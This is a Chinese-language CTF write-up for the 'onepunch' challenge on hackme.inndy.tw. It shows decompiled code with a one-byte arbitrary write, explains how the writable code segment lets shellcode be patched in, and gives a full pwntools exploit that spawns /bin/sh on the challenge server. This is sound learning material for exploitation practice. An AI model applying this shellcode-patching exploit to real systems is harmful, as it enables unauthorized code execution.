avatar

hackme.inndy.tw onepunch

思路

1
2
3
4
5
6
7
checksec onepunch                                                                 
[*] '/Users/carlstar/Desktop/onepunch'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-18h]
int v5; // [rsp+Ch] [rbp-14h]
_BYTE *v6; // [rsp+10h] [rbp-10h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v7 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
printf("Where What?", 0LL);
v5 = __isoc99_scanf("%llx %d", &v6, &v4);
if ( v5 != 2 )
return 0;
*v6 = v4;
if ( v4 == 255 )
puts("No flag for you");
return 0;
}

审计代码时发现只有一字节任意写入的洞,想了很久不知道从哪里下手,参考了 m4x师傅的wp 学到了一波新知识。

运行起来程序后看了一下各个段的权限才豁然开朗,code段可写可读。结合一字节的任意写入,可以构造一个循环来写入shellcode,虽然开了nx,但是我们又不在栈区执行所以并不影响。

在ida里面配置一下我们就可以查看机器码了,修改为4就可以。然后使用keypatch来修改汇编代码,这样直接就会以机器码的形式展现出来,修改时需要重新rename一下要跳转的段(loc_4007D1),要不识别不了。

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level = "debug"
context.os = "linux"
context.arch = "amd64"
def patch(target, addr, val):
target.sendlineafter('Where What?', "%s %s" % (hex(addr), str(val)))

def main():
target = remote('hackme.inndy.tw', 7718)
addr = 0x400768
patch(target, addr, 0xB4)
shellcode = asm(shellcraft.execve('/bin/sh'))
addr = 0x400769
for i, element in enumerate(shellcode):
patch(target, addr + i, ord(element))
patch(target, 0x400768, 0x00)
print len(shellcode)
target.interactive()


if __name__ == '__main__':
main()

Author: CarlStar
Link: http://yoursite.com/2018/11/06/onepunch/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment